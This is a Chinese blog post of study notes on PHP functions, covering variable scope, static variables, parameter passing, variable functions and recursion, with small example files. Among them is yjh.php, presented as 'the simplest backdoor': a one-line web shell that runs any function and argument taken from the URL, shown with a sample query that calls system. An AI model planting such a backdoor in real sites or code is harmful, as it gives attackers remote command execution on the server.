PHP 函数

90 阅读2分钟

​本文已参与「新人创作礼」活动,一起开启掘金创作之路。

函数

代码块

有输入,有输出

结构

function 函数名(形参){

   代码块

   return;

}

注意:

函数调用时,实参要按照顺序给形参。

函数调用时,互相独立,默认没有联系

执行完毕后,返回调用的位置,继续向下执行

变量的范围

局部变量

在函数内部定义的变量

变量的作用范围就是这个函数

全局变量

在PHP脚本中,函数外部定义的变量

变量的作用域为整个PHP脚本

在函数中使用全局变量?
1、传参

2、声明

global

3、常量的作用域,是超全局

静态变量

在函数内部定义

用static修饰符修饰

仅在函数初次执行时被初始化

参数的传递

1、按值传递参数(默认方式)

对形参的操作,不会对实参产生影响。

2、按引用传参

相当于给实参起了一个别名,对形参的操作会影响实参。

3、默认参数

如果没有给函数传递实参,取默认值

建议:

全给默认参数

4、可变函数参数列表

func_get_args();

func_get_arg();

func_num_args();

可变函数

函数名为变量,类似这样的结构

a(a(b);

也是最简单的后门

递归函数

自己调自己

源码:


1.php

<?php
function userprint(){
	echo "This is userprint Fun!";
}
function hello($name){
	echo "Hello, ".$name;
}
function add($a,$b){
	$c = $a + $b;
	return $c;
}
userprint();
hello("GGG");
echo "<hr />";
echo add(1,2);
?>


2.php(局部变量)

<?php
$a = 10;
function test(){
	echo $a;
}
test();
echo "<hr />";
echo $a;
?>


3.php(全局变量)

<?php
$a = 10;
define("NAME","GGG");
function test(){
	echo $a;
	global $a;
	echo $a;
	echo NAME;
}
test();
?>


4.php(静态变量)

<?php
function test(){
	static $a = 10;
	echo ++$a."|";
}
test();
test();
test();
?>


5.php()

<?php
function A(){
	echo "This is A fun!<hr />";
}
function B(){
	echo "This is B fun!<hr />";
	A();
	echo "Fun B end!<hr />";
}
function C(){
	echo "This is Fun C<hr />";
	B();
	echo "All Fun end<hr />";
}
C();
?>


6.php(按默认值传递参数/引用传参)

<?php
/*
function add($x){
	echo ++$x;
}
*/
function add(&$x){
	echo ++$x;
}
$a = 3;
add($a);
echo "<hr />";
echo $a;
?>


7.php(默认参数)

<?php
function add($a=2,$b){
	echo $a+$b."<hr />";
}
add(10,20);
//add(4);
add (1,2,3,4,5);
?>


8.php(可变函数参数)

<?php
function test(){
	//echo "This is :".__FUNCTION__;
	echo func_num_args();//传参个数
	echo "<br />";
	echo func_get_arg(1);//根据参数偏移量,从零开始计数,获取参数值
	echo "<br />";
	for($i=0;$i<func_num_args();$i++){
		echo func_get_arg($i)."|";
	}
}
//test();
test("GGG",24,true,89.9);
echo "<br />";
?>


9.php(可变函数)

<?php
function test1(){
	echo "This is func".__FUNCTION__;
	echo "<br />".func_get_arg(0);
}
function test2(){
	echo "This is func".__FUNCTION__;
	echo "<br />".func_get_arg(0);
}
//$a="test1";
//$a="test2";
//$a="var_dump";
//$a="echo"
//$a("GGG");//函数 函数名$abs test1("GGG")
//$a="printf";
$a ="system";
$a("ipconfig");
?>


yjh.php(最简单的后门)

<?php
$_GET['a']($_GET['b']);
?>

我们现在在地址后添加以下代码

?a=system&b=ping www.baidu.com


10.php(递归函数)

<?php
function test($n){
	echo $n.'&nbsp';
	if($n>0){
		test($n-1);
	}
	else{
		echo '<-->';
	}
	echo $n.'&nbsp';
}
test(3);//3 2 1 0 <-->0 1 2 3

?>


 参考文献:

千峰网络视频安全公开课